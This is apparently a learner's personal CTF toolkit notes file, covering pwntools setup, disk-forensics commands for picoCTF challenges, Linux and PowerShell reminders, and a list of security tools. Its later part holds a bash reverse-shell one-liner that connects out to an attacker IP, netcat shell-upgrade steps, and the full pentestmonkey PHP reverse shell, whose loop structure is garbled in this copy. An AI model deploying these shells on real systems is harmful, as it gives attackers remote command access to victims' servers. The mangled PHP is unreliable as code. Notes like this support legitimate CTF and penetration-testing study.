

# ctf toolkit

Links to things that i learned these things from

<https://www.hackthebox.com/>

<https://primer.picoctf.org/>

<https://docs.pwntools.com/en/stable/>

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# ToolKit Preface

This exists to go back and look at the tools i have learned how to use so i may eventually look back and remember things i have done, or help me in the future

thank you jackrhysider for all the podcasts on things related to the field i want to enter!  
Especially for introducing me to [picoCTF.org](https://picoCTF.org)

# picoCTF toolkit

# Tools in picoCTF

## 1. category

### 1. tool

#### 1. format

##### 1. link(s)

2. if anything below format is empty / incomplete its probs coz i havent used it enough or forgot about how to use it when i wrote this, and or its self explanatory

##### 1. description if applicable

##### 1. sub notes

1. end with a RTFM for any more info coz if you need any more info it could be outdated this is just to quick remember things exist / how to download it

## 2. General Exploit tools

### 1. pwntools

#### 1. Python, CLI

##### 1. <https://docs.pwntools.com/en/stable/>

1. pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

1. if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.

2. Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). so get ready to use wsl or a linux machine :D

1. if you must use python 2 u need a specific version of pip

```
$ apt-get update
$ apt-get install python python-pip python-dev git libssl-dev
libffi-dev build-essential
$ python2 -m pip install --upgrade pip==20.3.4
$ python2 -m pip install --upgrade pwntools
```

2. otherwise python 3 works as normal

```
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev
```

```
libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
```

3. When installed with `sudo` the above commands will install Pwntools' command-line tools to somewhere like `/usr/bin`. An error will occur, so add `~/local/bin` to your `$PATH` environment variable.

3. heres a link to the tutuorial

<https://docs.pwntools.com/en/stable/intro.html#tutorials>

### 3. Disk Analasys

#### 1. Autopsy

##### 1. GUI

1.

#### 2. Sleuthkit

##### 1. CLI

#### 3. fls

##### 1. cli

1. 

```
$ fls -o 360448 disk.flag.img 3981
r/r * 2082(realloc):  flag.txt
r/r 2371:  flag.uni.txt
```

#### 4. icat

##### 1. cli

##### 1. read sector data

1. 

```
$ icat -o 360448 disk.flag.img 2371
picoCTF{flag_you_arnt_allowed_to_get_for_free}
```

#### 5. Gunzip

##### 1. CLI

1. `man gunzip`
2. works on `.gz` files
3. using ```gunzip disk.flag.img.gz``` basically spits out the copressed file then deletes file from the few times ive used it but idk

#### 6. Dump the partition table of the disk image. We want to find the offset to the main partition:

```
$ mmls disk.flag.img
```

DOS Partition Table

Offset Sector: 0

Units are in 512-byte sectors

Slot	Start	End	Length	Description
000: Meta	0000000000	0000000000	0000000001	Primary Table (#0)
001: -----	0000000000	0000002047	0000002048	Unallocated
002: 000:000	0000002048	0000206847	0000204800	Linux (0x83)
003: 000:001	0000206848	0000360447	0000153600	Linux Swap / Solaris x86 (0x82)
004: 000:002	0000360448	0000614399	0000253952	Linux (0x83)

#### 4. Packet Sniffer?

1. wireshark
  1. gui
2. tshark
  1. cli

#### 5. files?

2. find
  1. cli

1. `find / -type f -name "*flag*" -print`

#### 6. general linux commands that i keep forgetting

1. `uname -a`
  1. general system informatiojn
2. `lshw`
  1. hardware info
3. `lscpu`
  1. cpu info
4. `free -m`
  1. memory info
5. `df -h`
  1. disk usage
6. `lsusb`
  1. usb devices
7. `ip addr`
  1. network config
8. `ifconfig`
  1. other network config
9. `htop`
  1. cli task manager
10. `ps aux`
  1. lists pid/tasks
11. `lshw`
  1. ???



# chroot to other linux drive from img

```
└─(root@NaruZKurai)-[~]  
└─# mmls flag_drive.img
```

```
mmls flag_drive.img
```

## DOS Partition Table

Offset Sector: 0

Units are in 512-byte sectors

	Slot	Start	End	Length	Description
000:	Meta	0000000000	0000000000	0000000001	Primary Table (#0)
001:	-----	0000000000	0000002047	0000002048	Unallocated
002:	000:000	0000002048	0000206847	0000204800	Linux (0x83)
003:	000:001	0000206848	0000411647	0000204800	Linux Swap / Solaris x86 (0x82)
004:	000:002	0000411648	0000819199	0000407552	Linux (0x83)

```
└─(root@NaruZKurai)-[~]  
└─#
```

```
sudo mkdir /mnt/flag_drive
```

```
sudo mount -o loop,offset=$((2048*512)) flag_drive.img /mnt/flag_drive #Linux (0x83) is after offset 2047 *512  
bytes so 2048
```

```
sudo mount -t proc /proc /mnt/flag_drive/proc
```

```
sudo mount -o bind /sys /mnt/flag_drive/sys
```

```
sudo mount -o bind /dev /mnt/flag_drive/dev
```



```
sudo chroot /mnt/flag_drive #possibly need to add /bin/bash or /bin/sh or depending on the operating system  
fish or ash or whatever else that system uses. look in /bin/ to see what shell it uses
```

#and just coz im hella forgetfull

```
find / -type f -name "*words*" 2>/dev/null
```

#im serious super forgetfull

```
grep -R "picoCTF{" / 2>/dev/null
```

# command tricks

## powershell

- `icacls ./file`
  - PS C:\Log-Management> `icacls .\job.bat`  
`.\job.bat BUILTIN\Users:(F)`  
`NT AUTHORITY\SYSTEM:(I)(F)`  
`BUILTIN\Administrators:(I)(F)`  
`BUILTIN\Users:(I)(RX)`  
Successfully processed 1 files; Failed processing 0 files
- `type ./file`
  - PS C:\Log-Management> `type .\job.bat`  
`@echo off`  
`FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V`  
`IF (%adminTest%)==(Access) goto noAdmin`  
`for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")`  
`echo.`  
`echo Event Logs have been cleared!`  
`goto theEnd`  
`:do_clear`  
`wevtutil.exe cl %1`  
`goto :eof`  
`:noAdmin`  
`echo You must run this script as an Administrator!`  
`:theEnd`  
`exit`
- `Get-ChildItem -Path C:\ -Filter Log-Management -Recurse -ErrorAction SilentlyContinue -Force`
  - it finds a file from a path
- a

a

something is wrong with this version of the editor as of writing, so it will be messy / full of copy/paste. idk how to raw html encode some of this

## cmd

- n
- a
- a

# shell

- n
- a
- a

# tools

grep "word" ./file.extension

/hping 3

wireshark

nmap

dragon os (debian based radio hacking tuned os)

shodan

metasploit

msfconsole

search type:exploit platfrom:windows eternal blue

msfvenom

snort

aircrackng

ghidra

hackrf1 ( a pyhysical tool, costs alot, but whats imortant is Deagonos is a distro focused on radio hacking)

tac = cat but backwards, like it prints the rows backwards

feroxbuster -u url.extension (basically gobuster but diff)

cybercheff -> <https://gchq.github.io/CyberChef/>

how to add terminal functionality to nc rev shell

```
www-data@2million:~/html$  
^Z  
zsh: suspended nc -lvnp 9001  
  
└─(kali㉿ kali)-[~]  
└─$  
stty raw -echo;fg  
  
[1] + continued nc -lvnp 9001  
  
www-data@2million:~/html$ whoami  
www-data  
www-data@2million:~/html$ ls  
.env      VPN/      css/      index.php  
Database.php assets/    fonts/    js/  
Router.php controllers/ images/    views/  
www-data@2million:~/html$  
  
export TERM=xterm
```

non nc rev shell command

```
bash -c 'bash -i >& /dev/tcp/10.10.16.20/9001 0>&1'
```

<https://overthewire.org/wargames/>

<https://ctftime.org/>

<https://github.com/The-Z-Labs/linux-exploit-suggester>

<https://www.tutorialspoint.com/What-is-the-difference-between-session-and-cookies#:~:text=Cookies%20are%20client%2Dside%20files,files%20that%20store%20user%20information.&text=Cookies%20expire%20after%20the%20user,logs%20out%20of%20the%20program.>

# literally a php reverse shell

```
<?php

// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// ----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 17355;    // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//
```

```
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0); // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
```

```
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the child will write to
    2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occasionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
}
```



```

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself

```

```
// (I can't figure out how to redirect STDOUT like a proper daemon)
```

```
function printit ($string) {
```

```
    if (!$daemon) {
```

```
        print "$string\n";
```

```
    }
```

```
}
```

```
?>
```